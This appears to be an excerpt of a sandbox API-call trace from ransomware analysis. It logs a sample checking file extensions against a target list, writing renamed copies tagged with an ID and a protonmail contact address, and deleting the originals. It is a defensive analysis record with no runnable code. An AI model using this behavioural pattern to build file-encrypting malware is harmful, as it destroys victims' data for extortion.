	[0063.739] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0063.739] lstrlenW (lpString="C:\\588bce7c90097ed212\\Client\\Parameterinfo.xml") returned 46
	[0063.739] lstrlenW (lpString=".zip") returned 4
	[0063.739] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0063.739] lstrlenW (lpString=".rar") returned 4
	[0063.739] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0063.739] lstrlenW (lpString=".bz2") returned 4
	[0063.739] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0063.739] lstrlenW (lpString=".7z") returned 3
	[0063.739] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0063.739] lstrlenW (lpString="C:\\588bce7c90097ed212\\Client\\Parameterinfo.xml") returned 46
	[0063.739] lstrlenW (lpString=".dbf") returned 4
	[0063.739] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0063.739] lstrlenW (lpString="C:\\588bce7c90097ed212\\Client\\Parameterinfo.xml") returned 46
	[0063.739] lstrlenW (lpString=".1cd") returned 4
	[0063.739] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0063.739] lstrlenW (lpString="C:\\588bce7c90097ed212\\Client\\Parameterinfo.xml") returned 46
	[0063.739] lstrlenW (lpString=".jpg") returned 4
	[0063.739] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0063.740] lstrcmpiW (lpString1=".xml", lpString2=".html") returned 1
	[0063.740] lstrlenW (lpString="Strings.xml") returned 11
	[0063.740] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Strings.xml" (normalized: "c:\\588bce7c90097ed212\\strings.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350
	[0063.740] GetFileSizeEx (in: hFile=0x350, lpFileSize=0x361ff14 | out: lpFileSize=0x361ff14*=14084) returned 1
	[0063.740] CloseHandle (hObject=0x350) returned 1
	[0063.740] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Strings.xml" (normalized: "c:\\588bce7c90097ed212\\strings.xml")) returned 0x80
	[0063.741] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Strings.xml.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\588bce7c90097ed212\\strings.xml.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0063.741] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Strings.xml" (normalized: "c:\\588bce7c90097ed212\\strings.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350
	[0063.741] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x361fec0 | out: lpNewFilePointer=0x0) returned 1
	[0063.741] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x361fec0 | out: lpNewFilePointer=0x0) returned 1
	[0063.741] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Strings.xml.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\588bce7c90097ed212\\strings.xml.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358
	[0063.741] GetLastError () returned 0x0
	[0063.741] ReadFile (in: hFile=0x350, lpBuffer=0x4016020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x361fecc, lpOverlapped=0x0 | out: lpBuffer=0x4016020*, lpNumberOfBytesRead=0x361fecc*=0x3704, lpOverlapped=0x0) returned 1
	[0063.745] WriteFile (in: hFile=0x358, lpBuffer=0x4016020*, nNumberOfBytesToWrite=0x3710, lpNumberOfBytesWritten=0x361fc94, lpOverlapped=0x0 | out: lpBuffer=0x4016020*, lpNumberOfBytesWritten=0x361fc94*=0x3710, lpOverlapped=0x0) returned 1
	[0063.748] ReadFile (in: hFile=0x350, lpBuffer=0x4016020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x361fecc, lpOverlapped=0x0 | out: lpBuffer=0x4016020*, lpNumberOfBytesRead=0x361fecc*=0x0, lpOverlapped=0x0) returned 1
	[0063.748] WriteFile (in: hFile=0x358, lpBuffer=0x4016020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x361fc94, lpOverlapped=0x0 | out: lpBuffer=0x4016020*, lpNumberOfBytesWritten=0x361fc94*=0xea, lpOverlapped=0x0) returned 1
	[0063.748] SetEndOfFile (hFile=0x358) returned 1
	[0063.748] CloseHandle (hObject=0x358) returned 1
	[0063.750] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x361fec0 | out: lpNewFilePointer=0x0) returned 1
	[0063.750] SetEndOfFile (hFile=0x350) returned 1
	[0063.751] CloseHandle (hObject=0x350) returned 1
	[0063.751] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Strings.xml.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x80) returned 1
	[0063.752] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\Strings.xml" (normalized: "c:\\588bce7c90097ed212\\strings.xml")) returned 1
	[0063.752] lstrlenW (lpString="C:\\588bce7c90097ed212\\Strings.xml") returned 33
	[0063.752] lstrlenW (lpString="C:\\588bce7c90097ed212\\Strings.xml") returned 33
	[0063.752] lstrlenW (lpString=".doc") returned 4
	[0063.752] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0063.752] lstrlenW (lpString=".docx") returned 5
	[0063.752] lstrcmpiW (lpString1=".docx", lpString2="s.xml") returned -1
	[0063.752] lstrlenW (lpString=".pdf") returned 4
	[0063.752] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0063.752] lstrlenW (lpString=".xls") returned 4
	[0063.752] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0063.752] lstrlenW (lpString=".xlsx") returned 5
	[0063.752] lstrcmpiW (lpString1=".xlsx", lpString2="s.xml") returned -1
	[0063.752] lstrlenW (lpString=".ppt") returned 4
	[0063.753] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0063.753] lstrlenW (lpString="C:\\588bce7c90097ed212\\Strings.xml") returned 33
	[0063.753] lstrlenW (lpString=".zip") returned 4
	[0063.753] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0063.753] lstrlenW (lpString=".rar") returned 4
	[0063.753] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0063.753] lstrlenW (lpString=".bz2") returned 4
	[0063.753] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0063.753] lstrlenW (lpString=".7z") returned 3
	[0063.753] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0063.753] lstrlenW (lpString="C:\\588bce7c90097ed212\\Strings.xml") returned 33
	[0063.753] lstrlenW (lpString=".dbf") returned 4
	[0063.753] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0063.753] lstrlenW (lpString="C:\\588bce7c90097ed212\\Strings.xml") returned 33
	[0063.753] lstrlenW (lpString=".1cd") returned 4
	[0063.753] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0063.753] lstrlenW (lpString="C:\\588bce7c90097ed212\\Strings.xml") returned 33
	[0063.753] lstrlenW (lpString=".jpg") returned 4
	[0063.753] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0063.753] lstrlenW (lpString="C:\\588bce7c90097ed212\\Strings.xml") returned 33
	[0063.753] lstrlenW (lpString="C:\\588bce7c90097ed212\\Strings.xml") returned 33
	[0063.753] lstrlenW (lpString=".doc") returned 4
	[0063.753] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0063.753] lstrlenW (lpString=".docx") returned 5
	[0063.753] lstrcmpiW (lpString1=".docx", lpString2="s.xml") returned -1
	[0063.754] lstrlenW (lpString=".pdf") returned 4
	[0063.754] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0063.754] lstrlenW (lpString=".xls") returned 4
	[0063.754] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0063.754] lstrlenW (lpString=".xlsx") returned 5
	[0063.754] lstrcmpiW (lpString1=".xlsx", lpString2="s.xml") returned -1
	[0063.754] lstrlenW (lpString=".ppt") returned 4
	[0063.754] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0063.754] lstrlenW (lpString="C:\\588bce7c90097ed212\\Strings.xml") returned 33
	[0063.754] lstrlenW (lpString=".zip") returned 4
	[0063.754] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0063.754] lstrlenW (lpString=".rar") returned 4
	[0063.754] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0063.754] lstrlenW (lpString=".bz2") returned 4
	[0063.754] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0063.754] lstrlenW (lpString=".7z") returned 3
	[0063.754] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0063.754] lstrlenW (lpString="C:\\588bce7c90097ed212\\Strings.xml") returned 33
	[0063.754] lstrlenW (lpString=".dbf") returned 4
	[0063.754] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0063.754] lstrlenW (lpString="C:\\588bce7c90097ed212\\Strings.xml") returned 33
	[0063.754] lstrlenW (lpString=".1cd") returned 4
	[0063.754] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0063.754] lstrlenW (lpString="C:\\588bce7c90097ed212\\Strings.xml") returned 33
	[0063.754] lstrlenW (lpString=".jpg") returned 4
	[0063.754] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0063.755] lstrcmpiW (lpString1=".xml", lpString2=".html") returned 1
	[0063.755] lstrlenW (lpString="UiInfo.xml") returned 10
	[0063.755] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\UiInfo.xml" (normalized: "c:\\588bce7c90097ed212\\uiinfo.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350
	[0063.755] GetFileSizeEx (in: hFile=0x350, lpFileSize=0x361ff14 | out: lpFileSize=0x361ff14*=38898) returned 1
	[0063.755] CloseHandle (hObject=0x350) returned 1
	[0063.755] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\UiInfo.xml" (normalized: "c:\\588bce7c90097ed212\\uiinfo.xml")) returned 0x80
	[0063.755] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\UiInfo.xml.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\588bce7c90097ed212\\uiinfo.xml.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0063.755] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\UiInfo.xml" (normalized: "c:\\588bce7c90097ed212\\uiinfo.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350
	[0063.756] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x361fec0 | out: lpNewFilePointer=0x0) returned 1
	[0063.756] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x361fec0 | out: lpNewFilePointer=0x0) returned 1
	[0063.756] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\UiInfo.xml.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\588bce7c90097ed212\\uiinfo.xml.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358
	[0063.756] GetLastError () returned 0x0
	[0063.756] ReadFile (in: hFile=0x350, lpBuffer=0x4016020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x361fecc, lpOverlapped=0x0 | out: lpBuffer=0x4016020*, lpNumberOfBytesRead=0x361fecc*=0x97f2, lpOverlapped=0x0) returned 1
	[0064.153] WriteFile (in: hFile=0x358, lpBuffer=0x4016020*, nNumberOfBytesToWrite=0x9800, lpNumberOfBytesWritten=0x361fc94, lpOverlapped=0x0 | out: lpBuffer=0x4016020*, lpNumberOfBytesWritten=0x361fc94*=0x9800, lpOverlapped=0x0) returned 1
	[0064.155] ReadFile (in: hFile=0x350, lpBuffer=0x4016020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x361fecc, lpOverlapped=0x0 | out: lpBuffer=0x4016020*, lpNumberOfBytesRead=0x361fecc*=0x0, lpOverlapped=0x0) returned 1
	[0064.155] WriteFile (in: hFile=0x358, lpBuffer=0x4016020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x361fc94, lpOverlapped=0x0 | out: lpBuffer=0x4016020*, lpNumberOfBytesWritten=0x361fc94*=0xe8, lpOverlapped=0x0) returned 1
	[0064.155] SetEndOfFile (hFile=0x358) returned 1
	[0064.155] CloseHandle (hObject=0x358) returned 1
	[0064.157] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x361fec0 | out: lpNewFilePointer=0x0) returned 1
	[0064.157] SetEndOfFile (hFile=0x350) returned 1
	[0064.158] CloseHandle (hObject=0x350) returned 1
	[0064.158] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\UiInfo.xml.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x80) returned 1
	[0064.158] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\UiInfo.xml" (normalized: "c:\\588bce7c90097ed212\\uiinfo.xml")) returned 1
	[0064.159] lstrlenW (lpString="C:\\588bce7c90097ed212\\UiInfo.xml") returned 32
	[0064.159] lstrlenW (lpString="C:\\588bce7c90097ed212\\UiInfo.xml") returned 32
	[0064.159] lstrlenW (lpString=".doc") returned 4
	[0064.159] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0064.159] lstrlenW (lpString=".docx") returned 5
	[0064.159] lstrcmpiW (lpString1=".docx", lpString2="o.xml") returned -1
	[0064.159] lstrlenW (lpString=".pdf") returned 4
	[0064.159] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0064.159] lstrlenW (lpString=".xls") returned 4
	[0064.159] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0064.159] lstrlenW (lpString=".xlsx") returned 5
	[0064.159] lstrcmpiW (lpString1=".xlsx", lpString2="o.xml") returned -1
	[0064.159] lstrlenW (lpString=".ppt") returned 4
	[0064.159] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0064.159] lstrlenW (lpString="C:\\588bce7c90097ed212\\UiInfo.xml") returned 32
	[0064.159] lstrlenW (lpString=".zip") returned 4
	[0064.159] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0064.159] lstrlenW (lpString=".rar") returned 4
	[0064.159] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0064.159] lstrlenW (lpString=".bz2") returned 4
	[0064.159] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0064.159] lstrlenW (lpString=".7z") returned 3
	[0064.159] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0064.160] lstrlenW (lpString="C:\\588bce7c90097ed212\\UiInfo.xml") returned 32
	[0064.160] lstrlenW (lpString=".dbf") returned 4
	[0064.160] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0064.160] lstrlenW (lpString="C:\\588bce7c90097ed212\\UiInfo.xml") returned 32
	[0064.160] lstrlenW (lpString=".1cd") returned 4
	[0064.160] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0064.160] lstrlenW (lpString="C:\\588bce7c90097ed212\\UiInfo.xml") returned 32
	[0064.160] lstrlenW (lpString=".jpg") returned 4
	[0064.160] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0064.160] lstrlenW (lpString="C:\\588bce7c90097ed212\\UiInfo.xml") returned 32
	[0064.160] lstrlenW (lpString="C:\\588bce7c90097ed212\\UiInfo.xml") returned 32
	[0064.160] lstrlenW (lpString=".doc") returned 4
	[0064.160] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0064.160] lstrlenW (lpString=".docx") returned 5
	[0064.160] lstrcmpiW (lpString1=".docx", lpString2="o.xml") returned -1
	[0064.160] lstrlenW (lpString=".pdf") returned 4
	[0064.160] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0064.160] lstrlenW (lpString=".xls") returned 4
	[0064.160] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0064.160] lstrlenW (lpString=".xlsx") returned 5
	[0064.160] lstrcmpiW (lpString1=".xlsx", lpString2="o.xml") returned -1
	[0064.160] lstrlenW (lpString=".ppt") returned 4
	[0064.160] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0064.160] lstrlenW (lpString="C:\\588bce7c90097ed212\\UiInfo.xml") returned 32
	[0064.160] lstrlenW (lpString=".zip") returned 4
	[0064.160] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0064.160] lstrlenW (lpString=".rar") returned 4
	[0064.160] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0064.160] lstrlenW (lpString=".bz2") returned 4
	[0064.161] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0064.161] lstrlenW (lpString=".7z") returned 3
	[0064.161] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0064.161] lstrlenW (lpString="C:\\588bce7c90097ed212\\UiInfo.xml") returned 32
	[0064.161] lstrlenW (lpString=".dbf") returned 4
	[0064.161] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0064.161] lstrlenW (lpString="C:\\588bce7c90097ed212\\UiInfo.xml") returned 32
	[0064.161] lstrlenW (lpString=".1cd") returned 4
	[0064.161] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0064.161] lstrlenW (lpString="C:\\588bce7c90097ed212\\UiInfo.xml") returned 32
	[0064.161] lstrlenW (lpString=".jpg") returned 4
	[0064.161] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0064.161] lstrcmpiW (lpString1=".avi", lpString2=".html") returned -1
	[0064.161] lstrlenW (lpString="boxed-correct.avi") returned 17
	[0064.161] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-correct.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364
	[0064.337] GetFileSizeEx (in: hFile=0x364, lpFileSize=0x361ff14 | out: lpFileSize=0x361ff14*=111320) returned 1
	[0064.337] CloseHandle (hObject=0x364) returned 1
	[0064.337] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-correct.avi")) returned 0x20
	[0064.337] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-correct.avi.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0065.006] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-correct.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0065.006] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi") returned 74
	[0065.006] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi") returned 74
	[0065.006] lstrlenW (lpString=".doc") returned 4
	[0065.006] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1
	[0065.006] lstrlenW (lpString=".docx") returned 5
	[0065.006] lstrcmpiW (lpString1=".docx", lpString2="t.avi") returned -1
	[0065.006] lstrlenW (lpString=".pdf") returned 4
	[0065.006] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1
	[0065.006] lstrlenW (lpString=".xls") returned 4
	[0065.006] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1
	[0065.006] lstrlenW (lpString=".xlsx") returned 5
	[0065.006] lstrcmpiW (lpString1=".xlsx", lpString2="t.avi") returned -1
	[0065.006] lstrlenW (lpString=".ppt") returned 4
	[0065.006] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1
	[0065.006] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi") returned 74
	[0065.006] lstrlenW (lpString=".zip") returned 4
	[0065.006] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1
	[0065.006] lstrlenW (lpString=".rar") returned 4
	[0065.006] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1
	[0065.007] lstrlenW (lpString=".bz2") returned 4
	[0065.007] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1
	[0065.007] lstrlenW (lpString=".7z") returned 3
	[0065.007] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1
	[0065.007] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi") returned 74
	[0065.007] lstrlenW (lpString=".dbf") returned 4
	[0065.007] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1
	[0065.007] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi") returned 74
	[0065.007] lstrlenW (lpString=".1cd") returned 4
	[0065.007] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1
	[0065.007] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi") returned 74
	[0065.007] lstrlenW (lpString=".jpg") returned 4
	[0065.007] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1
	[0065.007] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi") returned 74
	[0065.007] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi") returned 74
	[0065.007] lstrlenW (lpString=".doc") returned 4
	[0065.007] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1
	[0065.007] lstrlenW (lpString=".docx") returned 5
	[0065.007] lstrcmpiW (lpString1=".docx", lpString2="t.avi") returned -1
	[0065.007] lstrlenW (lpString=".pdf") returned 4
	[0065.007] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1
	[0065.007] lstrlenW (lpString=".xls") returned 4
	[0065.007] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1
	[0065.007] lstrlenW (lpString=".xlsx") returned 5
	[0065.007] lstrcmpiW (lpString1=".xlsx", lpString2="t.avi") returned -1
	[0065.007] lstrlenW (lpString=".ppt") returned 4
	[0065.007] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1
	[0065.007] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi") returned 74
	[0065.007] lstrlenW (lpString=".zip") returned 4
	[0065.007] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1
	[0065.007] lstrlenW (lpString=".rar") returned 4
	[0065.007] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1
	[0065.008] lstrlenW (lpString=".bz2") returned 4
	[0065.008] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1
	[0065.008] lstrlenW (lpString=".7z") returned 3
	[0065.008] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1
	[0065.008] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi") returned 74
	[0065.008] lstrlenW (lpString=".dbf") returned 4
	[0065.008] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1
	[0065.008] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi") returned 74
	[0065.008] lstrlenW (lpString=".1cd") returned 4
	[0065.008] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1
	[0065.008] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi") returned 74
	[0065.008] lstrlenW (lpString=".jpg") returned 4
	[0065.008] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1
	[0065.008] lstrcmpiW (lpString1=".bmp", lpString2=".html") returned -1
	[0065.008] lstrlenW (lpString="verisign.bmp") returned 12
	[0065.008] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Services\\verisign.bmp" (normalized: "c:\\program files\\common files\\services\\verisign.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328
	[0065.019] GetFileSizeEx (in: hFile=0x328, lpFileSize=0x361ff14 | out: lpFileSize=0x361ff14*=2702) returned 1
	[0065.019] CloseHandle (hObject=0x328) returned 1
	[0065.019] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Services\\verisign.bmp" (normalized: "c:\\program files\\common files\\services\\verisign.bmp")) returned 0x20
	[0065.019] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Services\\verisign.bmp.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\common files\\services\\verisign.bmp.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0065.019] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Services\\verisign.bmp" (normalized: "c:\\program files\\common files\\services\\verisign.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0065.019] lstrlenW (lpString="C:\\Program Files\\Common Files\\Services\\verisign.bmp") returned 51
	[0065.019] lstrlenW (lpString="C:\\Program Files\\Common Files\\Services\\verisign.bmp") returned 51
	[0065.019] lstrlenW (lpString=".doc") returned 4
	[0065.019] lstrcmpiW (lpString1=".doc", lpString2=".bmp") returned 1
	[0065.019] lstrlenW (lpString=".docx") returned 5
	[0065.019] lstrcmpiW (lpString1=".docx", lpString2="n.bmp") returned -1
	[0065.019] lstrlenW (lpString=".pdf") returned 4
	[0065.020] lstrcmpiW (lpString1=".pdf", lpString2=".bmp") returned 1
	[0065.020] lstrlenW (lpString=".xls") returned 4
	[0065.020] lstrcmpiW (lpString1=".xls", lpString2=".bmp") returned 1
	[0065.020] lstrlenW (lpString=".xlsx") returned 5
	[0065.020] lstrcmpiW (lpString1=".xlsx", lpString2="n.bmp") returned -1
	[0065.020] lstrlenW (lpString=".ppt") returned 4
	[0065.020] lstrcmpiW (lpString1=".ppt", lpString2=".bmp") returned 1
	[0065.020] lstrlenW (lpString="C:\\Program Files\\Common Files\\Services\\verisign.bmp") returned 51
	[0065.020] lstrlenW (lpString=".zip") returned 4
	[0065.020] lstrcmpiW (lpString1=".zip", lpString2=".bmp") returned 1
	[0065.020] lstrlenW (lpString=".rar") returned 4
	[0065.020] lstrcmpiW (lpString1=".rar", lpString2=".bmp") returned 1
	[0065.020] lstrlenW (lpString=".bz2") returned 4
	[0065.020] lstrcmpiW (lpString1=".bz2", lpString2=".bmp") returned 1
	[0065.020] lstrlenW (lpString=".7z") returned 3
	[0065.020] lstrcmpiW (lpString1=".7z", lpString2="bmp") returned -1
	[0065.020] lstrlenW (lpString="C:\\Program Files\\Common Files\\Services\\verisign.bmp") returned 51
	[0065.020] lstrlenW (lpString=".dbf") returned 4
	[0065.020] lstrcmpiW (lpString1=".dbf", lpString2=".bmp") returned 1
	[0065.020] lstrlenW (lpString="C:\\Program Files\\Common Files\\Services\\verisign.bmp") returned 51
	[0065.020] lstrlenW (lpString=".1cd") returned 4
	[0065.020] lstrcmpiW (lpString1=".1cd", lpString2=".bmp") returned -1
	[0065.020] lstrlenW (lpString="C:\\Program Files\\Common Files\\Services\\verisign.bmp") returned 51
	[0065.020] lstrlenW (lpString=".jpg") returned 4
	[0065.020] lstrcmpiW (lpString1=".jpg", lpString2=".bmp") returned 1
	[0065.020] lstrlenW (lpString="C:\\Program Files\\Common Files\\Services\\verisign.bmp") returned 51
	[0065.020] lstrlenW (lpString="C:\\Program Files\\Common Files\\Services\\verisign.bmp") returned 51
	[0065.020] lstrlenW (lpString=".doc") returned 4
